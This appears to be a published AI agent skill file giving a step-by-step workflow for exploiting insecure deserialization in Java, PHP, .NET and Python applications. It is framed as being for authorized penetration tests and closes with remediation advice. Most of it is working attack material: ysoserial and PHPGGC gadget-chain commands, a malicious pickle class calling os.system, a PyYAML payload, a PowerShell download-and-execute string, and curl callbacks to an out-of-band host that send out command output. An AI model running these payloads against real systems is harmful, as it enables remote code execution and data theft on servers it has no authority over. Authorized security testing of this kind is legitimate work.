Agent Skills: Exploiting Insecure Deserialization

Identifying and exploiting insecure deserialization vulnerabilities in Java, PHP, Python, and .NET applications to achieve remote code execution during authorized penetration tests.

UncategorizedID: plurigrid/asi/exploiting-insecure-deserialization

Install this agent skill to your local

pnpm dlx add-skill https://github.com/plurigrid/asi/tree/HEAD/plugins/asi/skills/exploiting-insecure-deserialization

Skill Files

Browse the full folder contents for exploiting-insecure-deserialization.

Download Skill

Loading file tree…

plugins/asi/skills/exploiting-insecure-deserialization/SKILL.md

Skill Metadata

Name
exploiting-insecure-deserialization
Description
Identifying and exploiting insecure deserialization vulnerabilities in Java, PHP, Python, and .NET applications to achieve remote code execution during authorized penetration tests.

Exploiting Insecure Deserialization

When to Use

  • During authorized penetration tests when applications process serialized data (cookies, API parameters, message queues)
  • When identifying Java serialization markers (ac ed 00 05 / rO0AB) in HTTP traffic
  • For testing PHP applications that use unserialize() on user-controlled input
  • When evaluating .NET applications using BinaryFormatter, ObjectStateFormatter, or ViewState
  • During security assessments of applications using pickle (Python), Marshal (Ruby), or YAML deserialization

Prerequisites

  • Authorization: Written penetration testing agreement with RCE testing scope
  • ysoserial: Java deserialization exploit tool (git clone https://github.com/frohoff/ysoserial.git)
  • ysoserial.net: .NET deserialization exploit tool (git clone https://github.com/pwntester/ysoserial.net.git)
  • PHPGGC: PHP deserialization gadget chain generator (git clone https://github.com/ambionics/phpggc.git)
  • Burp Suite Professional: With Java Deserialization Scanner extension
  • Java Runtime: For running ysoserial
  • Collaborator/interactsh: For out-of-band confirmation of code execution

Workflow

Step 1: Identify Serialized Data in Application Traffic

Detect serialized objects in HTTP parameters, cookies, and headers.

# Java serialization markers
# Binary: starts with 0xACED0005
# Base64: starts with rO0AB
# Gzip+Base64: starts with H4sIAAAAAAAA

# Search Burp proxy history for serialization signatures
# In Burp: Proxy > HTTP History > Search > "rO0AB"

# Check cookies and parameters for Base64-encoded serialized data
echo "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA..." | base64 -d | xxd | head

# PHP serialization format
# Looks like: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
# a:2:{i:0;s:5:"hello";i:1;s:5:"world";}

# .NET ViewState
# __VIEWSTATE parameter in ASP.NET forms
# Starts with /wEP... (base64)

# Python pickle
# Base64 encoded pickle objects in cookies or API parameters
# Binary starts with 0x80 (protocol version)

# Common locations to check:
# - Session cookies
# - Hidden form fields (__VIEWSTATE, __EVENTVALIDATION)
# - API request/response bodies
# - WebSocket messages
# - Message queue payloads (JMS, RabbitMQ, Redis)
# - Cache entries (Memcached, Redis)

Step 2: Test Java Deserialization with ysoserial

Generate deserialization payloads for Java applications.

# List available gadget chains
java -jar ysoserial.jar 2>&1 | grep -E "^\s+\w"

# Generate DNS callback payload for detection (safest test)
java -jar ysoserial.jar URLDNS "http://java-deser.abc123.oast.fun" | base64 -w0

# Test with Burp Collaborator
# Replace serialized cookie/parameter with generated payload
# Check Collaborator for DNS/HTTP callbacks

# Generate RCE payloads with common gadget chains
# CommonsCollections (very common in Java apps)
java -jar ysoserial.jar CommonsCollections1 "curl http://abc123.oast.fun/rce" | base64 -w0
java -jar ysoserial.jar CommonsCollections5 "whoami" | base64 -w0
java -jar ysoserial.jar CommonsCollections6 "id" | base64 -w0

# Spring Framework gadget
java -jar ysoserial.jar Spring1 "curl http://abc123.oast.fun/spring" | base64 -w0

# Hibernate gadget
java -jar ysoserial.jar Hibernate1 "curl http://abc123.oast.fun/hibernate" | base64 -w0

# Send payload via curl
PAYLOAD=$(java -jar ysoserial.jar CommonsCollections5 "curl http://abc123.oast.fun/confirm" | base64 -w0)
curl -s -X POST \
  -b "session=$PAYLOAD" \
  "https://target.example.com/dashboard"

Step 3: Test PHP Deserialization with PHPGGC

Generate PHP gadget chains for common frameworks.

# List available PHP gadget chains
./phpggc -l

# Generate payloads for common PHP frameworks
# Laravel RCE
./phpggc Laravel/RCE1 system "id" -b
./phpggc Laravel/RCE5 system "whoami" -b

# Symfony RCE
./phpggc Symfony/RCE4 exec "curl http://abc123.oast.fun/php-rce" -b

# WordPress (via Guzzle)
./phpggc Guzzle/RCE1 system "id" -b

# Monolog RCE
./phpggc Monolog/RCE1 system "id" -b

# Test by injecting into cookie or parameter
PAYLOAD=$(./phpggc Laravel/RCE1 system "curl http://abc123.oast.fun/laravel" -b)
curl -s -b "serialized_data=$PAYLOAD" \
  "https://target.example.com/dashboard"

# PHP object injection via manipulated serialized string
# Original: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
# Modified: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:5:"admin";}

# Test for type juggling with PHP unserialize
# Change string to integer: s:4:"role" -> i:1

Step 4: Test .NET Deserialization

Assess ViewState and other .NET serialization vectors.

# Analyze .NET ViewState
# Check if ViewState MAC is enabled
# Unprotected ViewState starts with /wE and can be decoded

# Using ysoserial.net for .NET payloads
# (Run on Windows or via Mono on Linux)
./ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter \
  -c "curl http://abc123.oast.fun/dotnet-rce" -o base64

./ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter \
  -c "whoami" -o base64

# Test ViewState deserialization
# If __VIEWSTATEMAC is disabled or machine key is known:
./ysoserial.exe -g ActivitySurrogateSelector -f ObjectStateFormatter \
  -c "powershell -c IEX(curl http://abc123.oast.fun/ps)" -o base64

# Insert payload into __VIEWSTATE parameter and submit form

# Check for .NET remoting endpoints
curl -s "https://target.example.com/remoting/service.rem"

# BinaryFormatter in API endpoints
# Look for Content-Type: application/octet-stream
# or application/x-msbin headers

Step 5: Test Python Pickle Deserialization

Exploit pickle-based deserialization in Python applications.

# Generate malicious pickle payload
import pickle
import base64
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl http://abc123.oast.fun/pickle-rce',))

payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(f"Pickle payload: {payload}")

# Alternative: Use pickletools for analysis
import pickletools
pickletools.dis(pickle.dumps(Exploit()))
# Send pickle payload
PAYLOAD=$(python3 -c "
import pickle, base64, os
class E:
    def __reduce__(self):
        return (os.system, ('curl http://abc123.oast.fun/pickle',))
print(base64.b64encode(pickle.dumps(E())).decode())
")

curl -s -X POST \
  -H "Content-Type: application/octet-stream" \
  -d "$PAYLOAD" \
  "https://target.example.com/api/import"

# Check for YAML deserialization (PyYAML)
# Payload: !!python/object/apply:os.system ['curl http://abc123.oast.fun/yaml']
curl -s -X POST \
  -H "Content-Type: application/x-yaml" \
  -d "!!python/object/apply:os.system ['curl http://abc123.oast.fun/yaml']" \
  "https://target.example.com/api/config"

Step 6: Confirm Exploitation and Document Impact

Validate successful deserialization attacks and document the impact chain.

# Confirm RCE with out-of-band callback
# Check interactsh/Collaborator for:
# 1. DNS resolution of your callback domain
# 2. HTTP request with command output
# 3. Timing-based confirmation (sleep commands)

# If blind, use timing-based confirmation
# Java: Thread.sleep(10000)
java -jar ysoserial.jar CommonsCollections5 "sleep 10" | base64 -w0
# Measure if response takes ~10 seconds longer

# Exfiltrate system info (authorized testing only)
java -jar ysoserial.jar CommonsCollections5 \
  "curl http://abc123.oast.fun/\$(whoami)" | base64 -w0

# Document the gadget chain and affected library versions
# Check target classpath for vulnerable libraries:
# - commons-collections 3.x / 4.0
# - spring-core
# - hibernate-core
# - groovy

Key Concepts

| Concept | Description | |---------|-------------| | Serialization | Converting an object into a byte stream for storage or transmission | | Deserialization | Reconstructing an object from a byte stream, potentially executing code | | Gadget Chain | A sequence of existing class methods chained together to achieve arbitrary code execution | | Magic Methods | Special methods called automatically during deserialization (__wakeup, __destruct in PHP, readObject in Java) | | ViewState | ASP.NET mechanism for persisting page state, often containing serialized objects | | Pickle | Python's native serialization format, inherently unsafe for untrusted data | | URLDNS Gadget | A Java gadget that triggers DNS lookup, useful for safe deserialization detection |

Tools & Systems

| Tool | Purpose | |------|---------| | ysoserial | Java deserialization payload generator with multiple gadget chains | | ysoserial.net | .NET deserialization payload generator | | PHPGGC | PHP Generic Gadget Chains for multiple frameworks | | Burp Java Deserialization Scanner | Automated detection of Java deserialization vulnerabilities | | marshalsec | Java unmarshaller exploitation for various libraries | | Freddy (Burp Extension) | Detects deserialization issues in multiple languages |

Common Scenarios

Scenario 1: Java Session Cookie RCE

A Java application stores session data as serialized objects in cookies. The rO0AB prefix reveals Java serialization. Using ysoserial with CommonsCollections gadget chain achieves remote code execution.

Scenario 2: PHP Laravel Unserialize

A Laravel application passes serialized data through a hidden form field. Using PHPGGC to generate a Laravel RCE gadget chain achieves command execution when the form is submitted.

Scenario 3: .NET ViewState Without MAC

An ASP.NET application has ViewState MAC validation disabled. Using ysoserial.net to generate a malicious ViewState payload achieves code execution when the page processes the modified ViewState.

Scenario 4: Python Pickle in Redis Cache

A Python web application stores pickled objects in Redis for caching. By poisoning the cache with a malicious pickle payload, code execution is triggered when the application deserializes the cached object.

Output Format

## Insecure Deserialization Finding

**Vulnerability**: Insecure Deserialization - Remote Code Execution
**Severity**: Critical (CVSS 9.8)
**Location**: Cookie `user_session` (Java serialized object)
**OWASP Category**: A08:2021 - Software and Data Integrity Failures

### Reproduction Steps
1. Capture the `user_session` cookie value (starts with rO0AB)
2. Generate payload: java -jar ysoserial.jar CommonsCollections5 "id"
3. Base64 encode and replace the cookie value
4. Send request; command executes on the server

### Vulnerable Library
- commons-collections 3.2.1 (CVE-2015-7501)
- Java Runtime: OpenJDK 11.0.15

### Confirmed Impact
- Remote Code Execution as `tomcat` user
- Server OS: Ubuntu 22.04 LTS
- Internal network access confirmed via reverse shell
- Database credentials accessible from application config

### Recommendation
1. Avoid deserializing untrusted data; use JSON or Protocol Buffers instead
2. Upgrade commons-collections to 4.1+ (patched version)
3. Implement deserialization filters (JEP 290 for Java 9+)
4. Use allowlists for permitted classes during deserialization
5. Implement integrity checks (HMAC) on serialized data before deserialization